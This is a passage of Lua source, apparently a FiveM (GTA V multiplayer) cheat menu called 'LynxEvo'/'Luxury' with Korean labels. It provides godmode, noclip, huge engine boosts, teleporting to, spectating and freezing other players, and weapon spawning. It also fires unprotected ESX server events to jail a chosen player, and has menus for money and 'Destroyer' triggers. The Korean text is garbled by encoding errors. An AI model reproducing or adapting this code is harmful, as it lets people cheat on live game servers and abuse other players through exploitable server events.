- if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0) and IsPedAPlayer(Entity) then
- ShootPlayer(Entity)
- end
- end
- end
- DisplayRadar(true)
- if RainbowVeh then
- local dq = k(1.0)
- SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), dq.r, dq.g, dq.b)
- SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), dq.r, dq.g, dq.b)
- end
- if rainbowh then
- for i = -1, 12 do
- Citizen.Wait(100)
- local a8 = k(1.0)
- SetVehicleHeadlightsColour(GetVehiclePedIsUsing(PlayerPedId(-1)), i)
- SetVehicleNeonLightsColour(GetVehiclePedIsUsing(PlayerPedId(-1)), a8.r, a8.g, a8.b)
- if i == 12 then
- i = -1
- end
- end
- end
- if t2x then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2.0 * 20.0)
- end
- if t4x then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4.0 * 20.0)
- end
- if t10x then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10.0 * 20.0)
- end
- if t16x then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16.0 * 20.0)
- end
- if txd then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 500.0 * 20.0)
- end
- if tbxd then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9999.0 * 20.0)
- end
- if Noclip then
- local dr = 2
- local ds =
- IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
- PlayerPedId(-1)
- FreezeEntityPosition(PlayerPedId(-1), true)
- SetEntityInvincible(PlayerPedId(-1), true)
- local dt = GetEntityCoords(entity)
- DisableControlAction(0, 32, true)
- DisableControlAction(0, 268, true)
- DisableControlAction(0, 31, true)
- DisableControlAction(0, 269, true)
- DisableControlAction(0, 33, true)
- DisableControlAction(0, 266, true)
- DisableControlAction(0, 34, true)
- DisableControlAction(0, 30, true)
- DisableControlAction(0, 267, true)
- DisableControlAction(0, 35, true)
- DisableControlAction(0, 44, true)
- DisableControlAction(0, 20, true)
- local du = 0.0
- local dv = 0.0
- if GetInputMode() == 'MouseAndKeyboard' then
- if IsDisabledControlPressed(0, 32) then
- du = 0.5
- end
- if IsDisabledControlPressed(0, 33) then
- du = -0.5
- end
- if IsDisabledControlPressed(0, 34) then
- SetEntityHeading(PlayerPedId(-1), GetEntityHeading(PlayerPedId(-1)) + 3.0)
- end
- if IsDisabledControlPressed(0, 35) then
- SetEntityHeading(PlayerPedId(-1), GetEntityHeading(PlayerPedId(-1)) - 3.0)
- end
- if IsDisabledControlPressed(0, 44) then
- dv = 0.21
- end
- if IsDisabledControlPressed(0, 20) then
- dv = -0.21
- end
- end
- dt = GetOffsetFromEntityInWorldCoords(ds, 0.0, du * (dr + 0.3), dv * (dr + 0.3))
- local bL = GetEntityHeading(ds)
- SetEntityVelocity(ds, 0.0, 0.0, 0.0)
- SetEntityRotation(ds, 0.0, 0.0, 0.0, 0, false)
- SetEntityHeading(ds, bL)
- SetEntityCollision(ds, false, false)
- SetEntityCoordsNoOffset(ds, dt.x, dt.y, dt.z, true, true, true)
- FreezeEntityPosition(ds, false)
- SetEntityInvincible(ds, false)
- SetEntityCollision(ds, true, true)
- end
- end
- end
- )
- Citizen.CreateThread(
- function()
- FreezeEntityPosition(entity, false)
- local dw = 1
- local dx = true
- local dy = nil
- local dz = nil
- local dA = nil
- local dB = 1
- local dC = 1
- local dD = {
- 1.0,
- 2.0,
- 4.0,
- 10.0,
- 512.0,
- 9999.0
- }
- LynxEvo.CreateMenu('Luxury', bs) -- 硫붿씤硫붾돱
- LynxEvo.SetSubTitle('Luxury', '34ByTe Community')
- LynxEvo.CreateSubMenu('?뚮젅?댁뼱 硫붾돱', 'Luxury', '?뚮젅?댁뼱 硫붾돱')
- LynxEvo.CreateSubMenu('?붾젅?ы듃 硫붾돱', 'Luxury', '?붾젅?ы듃 硫붾돱')
- LynxEvo.CreateSubMenu('臾닿린 硫붾돱', 'Luxury', '臾닿린 硫붾돱')
- LynxEvo.CreateSubMenu('怨좉툒紐⑤뱶', 'Luxury', '怨좉툒紐⑤뱶')
- LynxEvo.CreateSubMenu('猷⑥븘 硫붾돱', 'Luxury', '猷⑥븘 硫붾돱')
- LynxEvo.CreateSubMenu('李⑤웾 硫붾돱', 'Luxury', '李⑤웾 硫붾돱')
- LynxEvo.CreateSubMenu('?⑤씪?명뵆?덉씠??硫붾돱', 'Luxury', '?⑤씪?명뵆?덉씠??硫붾돱')
- LynxEvo.CreateSubMenu('?뚮젅?댁뼱?듭뀡 硫붾돱', '?⑤씪?명뵆?덉씠??硫붾돱', 'Player Options')
- LynxEvo.CreateSubMenu('Destroyer', '怨좉툒紐⑤뱶', 'Destroyer Menu')
- LynxEvo.CreateSubMenu('ESXBoss', '猷⑥븘 硫붾돱', 'ESX Boss Triggers')
- LynxEvo.CreateSubMenu('ESXMoney', '猷⑥븘 硫붾돱', 'ESX Money Triggers')
- LynxEvo.CreateSubMenu('ESXDrugs', '猷⑥븘 硫붾돱', 'ESX Drugs')
- LynxEvo.CreateSubMenu('ESXCustom', '猷⑥븘 硫붾돱', 'ESX Random Triggers')
- LynxEvo.CreateSubMenu('VRPTriggers', '猷⑥븘 硫붾돱', 'VRP Triggers')
- LynxEvo.CreateSubMenu('MiscTriggers', '猷⑥븘 硫붾돱', 'Misc Triggers')
- LynxEvo.CreateSubMenu('crds', 'Luxury', 'Credits')
- LynxEvo.CreateSubMenu('ESXJobs', '猷⑥븘 硫붾돱', 'ESX Jobs')
- LynxEvo.CreateSubMenu('ESXJobs2', '?뚮젅?댁뼱?듭뀡 硫붾돱', 'ESX Jobs Individual')
- LynxEvo.CreateSubMenu('ESXTriggerini', '?뚮젅?댁뼱?듭뀡 硫붾돱', 'ESX Triggers')
- LynxEvo.CreateSubMenu('?몃· 硫붾돱', '?뚮젅?댁뼱?듭뀡 硫붾돱', '?몃· 硫붾돱*^3^*')
- LynxEvo.CreateSubMenu('WeaponTypes', '臾닿린 硫붾돱', 'Weapons')
- LynxEvo.CreateSubMenu('WeaponTypeSelection', 'WeaponTypes', 'Weapon')
- LynxEvo.CreateSubMenu('WeaponOptions', 'WeaponTypeSelection', 'Weapon Options')
- LynxEvo.CreateSubMenu('ModSelect', 'WeaponOptions', 'Weapon Mod Options')
- LynxEvo.CreateSubMenu('CarTypes', '李⑤웾 硫붾돱', 'Vehicles')
- LynxEvo.CreateSubMenu('CarTypeSelection', 'CarTypes', 'Moew :3')
- LynxEvo.CreateSubMenu('CarOptions', 'CarTypeSelection', 'Car Options')
- LynxEvo.CreateSubMenu('MainTrailer', '李⑤웾 硫붾돱', 'Trailers to Attach')
- LynxEvo.CreateSubMenu('MainTrailerSel', 'MainTrailer', 'Trailers Available')
- LynxEvo.CreateSubMenu('MainTrailerSpa', 'MainTrailerSel', 'Trailer Options')
- LynxEvo.CreateSubMenu('GiveSingleWeaponPlayer', '?⑤씪?명뵆?덉씠??硫붾돱', 'Single Weapon Menu')
- LynxEvo.CreateSubMenu('ESP硫붾돱', '怨좉툒紐⑤뱶', 'ESP Menu')
- LynxEvo.CreateSubMenu('濡쒖뒪?고넗??, '李⑤웾 硫붾돱', 'LSC Customs')
- LynxEvo.CreateSubMenu('tunings', '濡쒖뒪?고넗??, 'Visual Tuning')
- LynxEvo.CreateSubMenu('performance', '濡쒖뒪?고넗??, 'Performance Tuning')
- LynxEvo.CreateSubMenu('VRPPlayerTriggers', '?뚮젅?댁뼱?듭뀡 硫붾돱', 'VRP Triggers')
- LynxEvo.CreateSubMenu('BoostMenu', '李⑤웾 硫붾돱', 'Vehicle Boost')
- LynxEvo.CreateSubMenu('AI(遊??뚰솚', '?몃· 硫붾돱', 'AI(遊??뚰솚')
- LynxEvo.CreateSubMenu('GCT', '李⑤웾 硫붾돱', 'Global Car Trolls')
- LynxEvo.CreateSubMenu('CsMenu', '怨좉툒紐⑤뱶', 'Crosshairs')
- for i, dE in pairs(bl) do
- LynxEvo.CreateSubMenu(dE.id, 'tunings', dE.name)
- if dE.id == 'paint' then
- LynxEvo.CreateSubMenu('primary', dE.id, 'Primary Paint')
- LynxEvo.CreateSubMenu('secondary', dE.id, 'Secondary Paint')
- LynxEvo.CreateSubMenu('rimpaint', dE.id, 'Wheel Paint')
- LynxEvo.CreateSubMenu('classic1', 'primary', 'Classic Paint')
- LynxEvo.CreateSubMenu('metallic1', 'primary', 'Metallic Paint')
- LynxEvo.CreateSubMenu('matte1', 'primary', 'Matte Paint')
- LynxEvo.CreateSubMenu('metal1', 'primary', 'Metal Paint')
- LynxEvo.CreateSubMenu('classic2', 'secondary', 'Classic Paint')
- LynxEvo.CreateSubMenu('metallic2', 'secondary', 'Metallic Paint')
- LynxEvo.CreateSubMenu('matte2', 'secondary', 'Matte Paint')
- LynxEvo.CreateSubMenu('metal2', 'secondary', 'Metal Paint')
- LynxEvo.CreateSubMenu('classic3', 'rimpaint', 'Classic Paint')
- LynxEvo.CreateSubMenu('metallic3', 'rimpaint', 'Metallic Paint')
- LynxEvo.CreateSubMenu('matte3', 'rimpaint', 'Matte Paint')
- LynxEvo.CreateSubMenu('metal3', 'rimpaint', 'Metal Paint')
- end
- end
- for i, dE in pairs(bm) do
- LynxEvo.CreateSubMenu(dE.id, 'performance', dE.name)
- end
- local SelectedPlayer
- while bw do
- ped = PlayerPedId()
- veh = GetVehiclePedIsUsing(ped)
- SetVehicleModKit(veh, 0)
- for i, dE in pairs(bl) do
- if LynxEvo.IsMenuOpened('tunings') then
- if bg then
- if bi == 'neon' then
- local r, g, b = table.unpack(bh)
- SetVehicleNeonLightsColour(veh, r, g, b)
- SetVehicleNeonLightEnabled(veh, 0, bk)
- SetVehicleNeonLightEnabled(veh, 1, bk)
- SetVehicleNeonLightEnabled(veh, 2, bk)
- SetVehicleNeonLightEnabled(veh, 3, bk)
- bg = false
- bi = -1
- bh = -1
- elseif bi == 'paint' then
- local dF, dG, dH, dI = table.unpack(bh)
- SetVehicleColours(veh, dF, dG)
- SetVehicleExtraColours(veh, dH, dI)
- bg = false
- bi = -1
- bh = -1
- else
- if bk == 'rm' then
- RemoveVehicleMod(veh, bi)
- bg = false
- bi = -1
- bh = -1
- else
- SetVehicleMod(veh, bi, bh, false)
- bg = false
- bi = -1
- bh = -1
- end
- end
- end
- end
- if LynxEvo.IsMenuOpened(dE.id) then
- if dE.id == 'wheeltypes' then
- if LynxEvo.Button('Sport Wheels') then
- SetVehicleWheelType(veh, 0)
- elseif LynxEvo.Button('Muscle Wheels') then
- SetVehicleWheelType(veh, 1)
- elseif LynxEvo.Button('Lowrider Wheels') then
- SetVehicleWheelType(veh, 2)
- elseif LynxEvo.Button('SUV Wheels') then
- SetVehicleWheelType(veh, 3)
- elseif LynxEvo.Button('Offroad Wheels') then
- SetVehicleWheelType(veh, 4)
- elseif LynxEvo.Button('Tuner Wheels') then
- SetVehicleWheelType(veh, 5)
- elseif LynxEvo.Button('High End Wheels') then
- SetVehicleWheelType(veh, 7)
- end
- LynxEvo.Display()
- elseif dE.id == 'extra' then
- local dJ = checkValidVehicleExtras()
- for i, dE in pairs(dJ) do
- if IsVehicleExtraTurnedOn(veh, i) then
- pricestring = 'Installed'
- else
- pricestring = 'Not Installed'
- end
- if LynxEvo.Button(dE.menuName, pricestring) then
- SetVehicleExtra(veh, i, IsVehicleExtraTurnedOn(veh, i))
- end
- end
- LynxEvo.Display()
- elseif dE.id == 'headlight' then
- if LynxEvo.Button('None') then
- SetVehicleHeadlightsColour(veh, -1)
- end
- for dK, dE in pairs(bo) do
- tp = GetVehicleHeadlightsColour(veh)
- if tp == dE.id and not bg then
- pricetext = 'Installed'
- else
- if bg and tp == dE.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- head = GetVehicleHeadlightsColour(veh)
- if LynxEvo.Button(dE.name, pricetext) then
- if not bg then
- bi = 'headlight'
- bk = false
- oldhead = GetVehicleHeadlightsColour(veh)
- bh = table.pack(oldhead)
- SetVehicleHeadlightsColour(veh, dE.id)
- bg = true
- elseif bg and head == dE.id then
- ToggleVehicleMod(veh, 22, true)
- SetVehicleHeadlightsColour(veh, dE.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and head ~= dE.id then
- SetVehicleHeadlightsColour(veh, dE.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif dE.id == 'licence' then
- if LynxEvo.Button('None') then
- SetVehicleNumberPlateTextIndex(veh, 3)
- end
- for dK, dE in pairs(bn) do
- tp = GetVehicleNumberPlateTextIndex(veh)
- if tp == dE.id and not bg then
- pricetext = 'Installed'
- else
- if bg and tp == dE.id then
- pricetext = 'Previewing'
- else
- pricetext = 'Not Installed'
- end
- end
- plate = GetVehicleNumberPlateTextIndex(veh)
- if LynxEvo.Button(dE.name, pricetext) then
- if not bg then
- bi = 'headlight'
- bk = false
- oldhead = GetVehicleNumberPlateTextIndex(veh)
- bh = table.pack(oldhead)
- SetVehicleNumberPlateTextIndex(veh, dE.id)
- bg = true
- elseif bg and plate == dE.id then
- SetVehicleNumberPlateTextIndex(veh, dE.id)
- bg = false
- bi = -1
- bh = -1
- elseif bg and plate ~= dE.id then
- SetVehicleNumberPlateTextIndex(veh, dE.id)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif dE.id == 'neon' then
- if LynxEvo.Button('None') then
- SetVehicleNeonLightsColour(veh, 255, 255, 255)
- SetVehicleNeonLightEnabled(veh, 0, false)
- SetVehicleNeonLightEnabled(veh, 1, false)
- SetVehicleNeonLightEnabled(veh, 2, false)
- SetVehicleNeonLightEnabled(veh, 3, false)
- end
- for i, dE in pairs(bq) do
- colorr, colorg, colorb = table.unpack(dE)
- r, g, b = GetVehicleNeonLightsColour(veh)
- if
- colorr == r and colorg == g and colorb == b and IsVehicleNeonLightEnabled(vehicle, 2) and
- not bg
- then
- pricestring = 'Installed'
- else
- if bg and colorr == r and colorg == g and colorb == b then
- pricestring = 'Previewing'
- else
- pricestring = 'Not Installed'
- end
- end
- if LynxEvo.Button(i, pricestring) then
- if not bg then
- bi = 'neon'
- bk = IsVehicleNeonLightEnabled(veh, 1)
- oldr, oldg, oldb = GetVehicleNeonLightsColour(veh)
- bh = table.pack(oldr, oldg, oldb)
- SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
- SetVehicleNeonLightEnabled(veh, 0, true)
- SetVehicleNeonLightEnabled(veh, 1, true)
- SetVehicleNeonLightEnabled(veh, 2, true)
- SetVehicleNeonLightEnabled(veh, 3, true)
- bg = true
- elseif bg and colorr == r and colorg == g and colorb == b then
- SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
- SetVehicleNeonLightEnabled(veh, 0, true)
- SetVehicleNeonLightEnabled(veh, 1, true)
- SetVehicleNeonLightEnabled(veh, 2, true)
- SetVehicleNeonLightEnabled(veh, 3, true)
- bg = false
- bi = -1
- bh = -1
- elseif bg and colorr ~= r or colorg ~= g or colorb ~= b then
- SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
- SetVehicleNeonLightEnabled(veh, 0, true)
- SetVehicleNeonLightEnabled(veh, 1, true)
- SetVehicleNeonLightEnabled(veh, 2, true)
- SetVehicleNeonLightEnabled(veh, 3, true)
- bg = true
- end
- end
- end
- LynxEvo.Display()
- elseif dE.id == 'paint' then
- if LynxEvo.MenuButton('~h~~p~#~s~ Primary Paint', 'primary') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ Secondary Paint', 'secondary') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ Wheel Paint', 'rimpaint') then
- end
- LynxEvo.Display()
- else
- local az = checkValidVehicleMods(dE.id)
- for i, dL in pairs(az) do
- for dM, dN in pairs(bp) do
- if dM == dE.name and GetVehicleMod(veh, dE.id) ~= dL.data.realIndex then
- price = 'Not Installed'
- elseif dM == dE.name and bg and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
- price = 'Previewing'
- elseif dM == dE.name and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
- price = 'Installed'
- end
- end
- if dL.menuName == '~h~~b~Stock' then
- end
- if dE.name == 'Horns' then
- for dO, dP in pairs(bp) do
- if dP == ci - 1 then
- dL.menuName = dO
- end
- end
- end
- if dL.menuName == 'NULL' then
- dL.menuName = 'unknown'
- end
- if LynxEvo.Button(dL.menuName) then
- if not bg then
- bi = dE.id
- bh = GetVehicleMod(veh, dE.id)
- bg = true
- if dL.data.realIndex == -1 then
- bk = 'rm'
- RemoveVehicleMod(veh, dL.data.modid)
- bg = false
- bi = -1
- bh = -1
- bk = false
- else
- bk = false
- SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
- end
- elseif bg and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
- bg = false
- bi = -1
- bh = -1
- bk = false
- if dL.data.realIndex == -1 then
- RemoveVehicleMod(veh, dL.data.modid)
- else
- SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
- end
- elseif bg and GetVehicleMod(veh, dE.id) ~= dL.data.realIndex then
- if dL.data.realIndex == -1 then
- RemoveVehicleMod(veh, dL.data.modid)
- bg = false
- bi = -1
- bh = -1
- bk = false
- else
- SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
- bg = true
- end
- end
- end
- end
- LynxEvo.Display()
- end
- end
- end
- for i, dE in pairs(bm) do
- if LynxEvo.IsMenuOpened(dE.id) then
- if GetVehicleMod(veh, dE.id) == 0 then
- pricestock = 'Not Installed'
- price1 = 'Installed'
- price2 = 'Not Installed'
- price3 = 'Not Installed'
- price4 = 'Not Installed'
- elseif GetVehicleMod(veh, dE.id) == 1 then
- pricestock = 'Not Installed'
- price1 = 'Not Installed'
- price2 = 'Installed'
- price3 = 'Not Installed'
- price4 = 'Not Installed'
- elseif GetVehicleMod(veh, dE.id) == 2 then
- pricestock = 'Not Installed'
- price1 = 'Not Installed'
- price2 = 'Not Installed'
- price3 = 'Installed'
- price4 = 'Not Installed'
- elseif GetVehicleMod(veh, dE.id) == 3 then
- pricestock = 'Not Installed'
- price1 = 'Not Installed'
- price2 = 'Not Installed'
- price3 = 'Not Installed'
- price4 = 'Installed'
- elseif GetVehicleMod(veh, dE.id) == -1 then
- pricestock = 'Installed'
- price1 = 'Not Installed'
- price2 = 'Not Installed'
- price3 = 'Not Installed'
- price4 = 'Not Installed'
- end
- if LynxEvo.Button('Stock ' .. dE.name, pricestock) then
- SetVehicleMod(veh, dE.id, -1)
- elseif LynxEvo.Button(dE.name .. ' Upgrade 1', price1) then
- SetVehicleMod(veh, dE.id, 0)
- elseif LynxEvo.Button(dE.name .. ' Upgrade 2', price2) then
- SetVehicleMod(veh, dE.id, 1)
- elseif LynxEvo.Button(dE.name .. ' Upgrade 3', price3) then
- SetVehicleMod(veh, dE.id, 2)
- elseif dE.id ~= 13 and dE.id ~= 12 and LynxEvo.Button(dE.name .. ' Upgrade 4', price4) then
- SetVehicleMod(veh, dE.id, 3)
- end
- LynxEvo.Display()
- end
- end
- if LynxEvo.IsMenuOpened('Luxury') then
- local dQ = PlayerId(-1)
- local bH = GetPlayerName(dQ)
- av('Luxury ?ㅽ겕由쏀듃', false)
- av('@Luxury HG#8222', false)
- if LynxEvo.MenuButton('~h~~p~#~s~ ?뚮젅?댁뼱 硫붾돱', '?뚮젅?댁뼱 硫붾돱') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ?⑤씪?명뵆?덉씠??硫붾돱', '?⑤씪?명뵆?덉씠??硫붾돱') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ?붾젅?ы듃 硫붾돱', '?붾젅?ы듃 硫붾돱') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ 李⑤웾 硫붾돱', '李⑤웾 硫붾돱') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ 臾닿린 硫붾돱', '臾닿린 硫붾돱') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ 猷⑥븘 硫붾돱 ~o~~h~:3', '猷⑥븘 硫붾돱') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ 怨좉툒紐⑤뱶 ~o~~h~xD', '怨좉툒紐⑤뱶') then
- elseif LynxEvo.MenuButton('~h~~p~#~y~ 34ByTe Community', 'crds') then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('?뚮젅?댁뼱 硫붾돱') then
- if
- LynxEvo.CheckBox(
- '~h~~g~臾댁쟻紐⑤뱶',
- Godmode,
- function(dR)
- Godmode = dR
- end
- )
- then
- elseif LynxEvo.Button('~h~~y~諛?~g~臾댁쟻紐⑤뱶') then
- local dS = 'stt_prop_stunt_soccer_ball'
- while not HasModelLoaded(GetHashKey(dS)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dS))
- end
- local dT = CreateObject(GetHashKey(dS), 0, 0, 0, true, true, false)
- SetEntityVisible(dT, 0, 0)
- AttachEntityToEntity(
- dT,
- GetPlayerPed(-1),
- GetPedBoneIndex(GetPlayerPed(-1), 57005),
- 0,
- 0,
- -1.0,
- 0,
- 0,
- 0,
- false,
- true,
- true,
- true,
- 1,
- true
- )
- elseif
- LynxEvo.CheckBox(
- '~h~~g~罹먮┃?고몴???щ챸紐⑤뱶]',
- d4,
- function(dR)
- d4 = dR
- end
- )
- then
- elseif LynxEvo.Button('~h~~r~?먯궡') then
- SetEntityHealth(PlayerPedId(-1), 0)
- elseif LynxEvo.Button('~h~~g~ESX~s~ ?대━湲?s~') then
- TriggerEvent('esx_ambulancejob:revive')
- elseif LynxEvo.Button('~h~~g~泥대젰?뚮났[?대━湲?') then
- SetEntityHealth(PlayerPedId(-1), 200)
- elseif LynxEvo.Button('~h~~b~?꾨㉧?뚮났') then
- SetPedArmour(PlayerPedId(-1), 200)
- elseif
- LynxEvo.CheckBox(
- '~h~臾댄븳 ?ㅽ깭誘몃굹',
- InfStamina,
- function(dR)
- InfStamina = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~???붿긽 ~o~移대찓??,
- bTherm,
- function(bTherm)
- end
- )
- then
- therm = not therm
- bTherm = therm
- SetSeethrough(therm)
- elseif
- LynxEvo.CheckBox(
- '~h~鍮좊Ⅴ寃??щ━湲?,
- fastrun,
- function(dR)
- fastrun = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~?덊띁?먰봽',
- SuperJump,
- function(dR)
- SuperJump = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~?먯쑀?쒖젏[noclip]',
- Noclip,
- function(dR)
- Noclip = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('?⑤씪?명뵆?덉씠??硫붾돱') then
- for i = 0, 128 do
- if
- NetworkIsPlayerActive(i) and GetPlayerServerId(i) ~= 0 and
- LynxEvo.MenuButton(
- GetPlayerName(i) ..
- ' ~p~[' ..
- GetPlayerServerId(i) ..
- ']~s~ ~y~[' ..
- i ..
- ']~s~ ' ..
- (IsPedDeadOrDying(GetPlayerPed(i), 1) and '~h~~r~?щ쭩' or
- '~h~~g~?앹〈'),
- '?뚮젅?댁뼱?듭뀡 硫붾돱'
- )
- then
- SelectedPlayer = i
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('?뚮젅?댁뼱?듭뀡 硫붾돱') then
- LynxEvo.SetSubTitle('?뚮젅?댁뼱?듭뀡 硫붾돱', '?뚮젅?댁뼱?듭뀡 硫붾돱[' .. GetPlayerName(SelectedPlayer) .. ']')
- if LynxEvo.MenuButton('~h~~p~#~r~ ESX Triggers ?섏젙以?, 'ESXTriggerini') then
- elseif LynxEvo.MenuButton('~h~~p~#~r~ ESX Jobs ?섏젙以?, 'ESXJobs2') then
- elseif LynxEvo.MenuButton('~h~~p~#~r~ VRP Triggers ?섏젙以?, 'VRPPlayerTriggers') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ?몃· 硫붾돱*^3^*', '?몃· 硫붾돱') then
- elseif LynxEvo.Button('~p~媛먯떆?섍린', cC and '~g~[?뚮젅?댁뼱 媛먯떆以?') then
- SpectatePlayer(SelectedPlayer)
- elseif LynxEvo.Button('~h~~r~諛?臾댁쟻 ~s~?뚮젅?댁뼱') then
- local dS = 'stt_prop_stunt_soccer_ball'
- while not HasModelLoaded(GetHashKey(dS)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(dS))
- end
- local dT = CreateObject(GetHashKey(dS), 0, 0, 0, true, true, false)
- SetEntityVisible(dT, 0, 0)
- AttachEntityToEntity(
- dT,
- GetPlayerPed(SelectedPlayer),
- GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 57005),
- 0,
- 0,
- -1.0,
- 0,
- 0,
- 0,
- false,
- true,
- true,
- true,
- 1,
- true
- )
- elseif LynxEvo.Button('~h~~g~泥대젰 ~s~二쇨린[?대━湲?') then
- local dU = 'PICKUP_HEALTH_STANDARD'
- local dV = GetHashKey(dU)
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- CreateAmbientPickup(dV, bK.x, bK.y, bK.z + 1.0, 1, 1, dV, 1, 0)
- SetPickupRegenerationTime(pickup, 60)
- SetEntityHealth(GetPlayerPed(SelectedPlayer), 200)
- elseif LynxEvo.Button('~h~~b~?꾨㉧ ~s~二쇨린') then
- local dW = 'PICKUP_ARMOUR_STANDARD'
- local dX = GetHashKey(dW)
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- local pickup = CreateAmbientPickup(dX, bK.x, bK.y, bK.z + 1.0, 1, 1, dX, 1, 0)
- SetPickupRegenerationTime(pickup, 60)
- SetPedArmour(GetPlayerPed(SelectedPlayer), 200)
- elseif LynxEvo.Button('~h~~b~??꾨㉧ ~s~二쇨린') then
- local dW = 'PICKUP_ARMOUR_STANDARD'
- local dX = GetHashKey(dW)
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- for i = 0, 99 do
- Citizen.Wait(0)
- CreateAmbientPickup(dX, bK.x, bK.y, bK.z + 1.0, 1, 1, dX, 1, 0)
- SetPickupRegenerationTime(pickup, 10)
- i = i + 1
- end
- elseif LynxEvo.Button('~h~?붾젅?ы듃 ?섍린') then
- if cO then
- local confirm = KeyboardInput('?대떦 ?뚮젅?댁뼱?먭쾶 ?붾젅?ы듃 ??y) / ?꾨땲??n)?', '', 0)
- if confirm == 'y' then
- local Entity =
- IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
- PlayerPedId(-1)
- SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
- elseif confirm == 'n' then
- av('~h~~b~Operation cancelled~s~.', false)
- else
- av('~h~~b~Invalid Confirmation~s~.', true)
- av('~h~~b~Operation cancelled~s~.', false)
- end
- else
- local Entity =
- IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
- PlayerPedId(-1)
- SetEntityCoords(Entity, GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
- end
- elseif
- LynxEvo.CheckBox(
- '~h~?뚮젅?댁뼱 ?쇰━湲?,
- freezeplayer,
- function(dR)
- freezeplayer = dR
- end
- )
- then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ?좏깮臾닿린 二쇨린', 'GiveSingleWeaponPlayer') then
- elseif LynxEvo.Button('~r~紐⑤뱺臾닿린 ~s~二쇨린') then
- for i = 1, #b6 do
- GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(b6[i]), 1000, false, false)
- end
- elseif LynxEvo.Button('~r~紐⑤뱺臾닿린 ~s~?쒓굅') then
- RemoveAllPedWeapons(PlayerPedId(SelectedPlayer), true)
- elseif LynxEvo.Button('~r~李⑤웾 ~s~二쇨린') then
- local ped = GetPlayerPed(SelectedPlayer)
- local cb = KeyboardInput('?뚰솚??李⑤웾 ?대쫫 ?곸뼱留?媛??ex)jet, rhino', '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- local veh =
- CreateVehicle(GetHashKey(cb), GetEntityCoords(ped), GetEntityHeading(ped) + 90, true, true)
- else
- av('~b~?대떦 李⑤웾???놁뒿?덈떎! ?대쫫???뺤씤?댁<?몄슂.', true)
- end
- elseif LynxEvo.Button('~h~~r~媛먯삦 ~s~蹂대궡湲?) then
- TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(selectedPlayer), 5000, 'Jailed')
- TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(selectedPlayer), 45 * 60)
- TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(selectedPlayer), 45 * 60)
- TriggerServerEvent('js:jailuser', GetPlayerServerId(selectedPlayer), 45 * 60, 'Jailed')
- elseif LynxEvo.Button('~h~~g~媛먯삦?덉텧 ~s~?쒗궎湲?) then
- local dY = SelectedPlayer
- TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(dY), 0, 'escaperino')
- TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(dY), 0)
- TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(dY), 0)
- TriggerServerEvent('js:jailuser', GetPlayerServerId(dY), 0, 'escaperino')
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ESXTriggerini') then
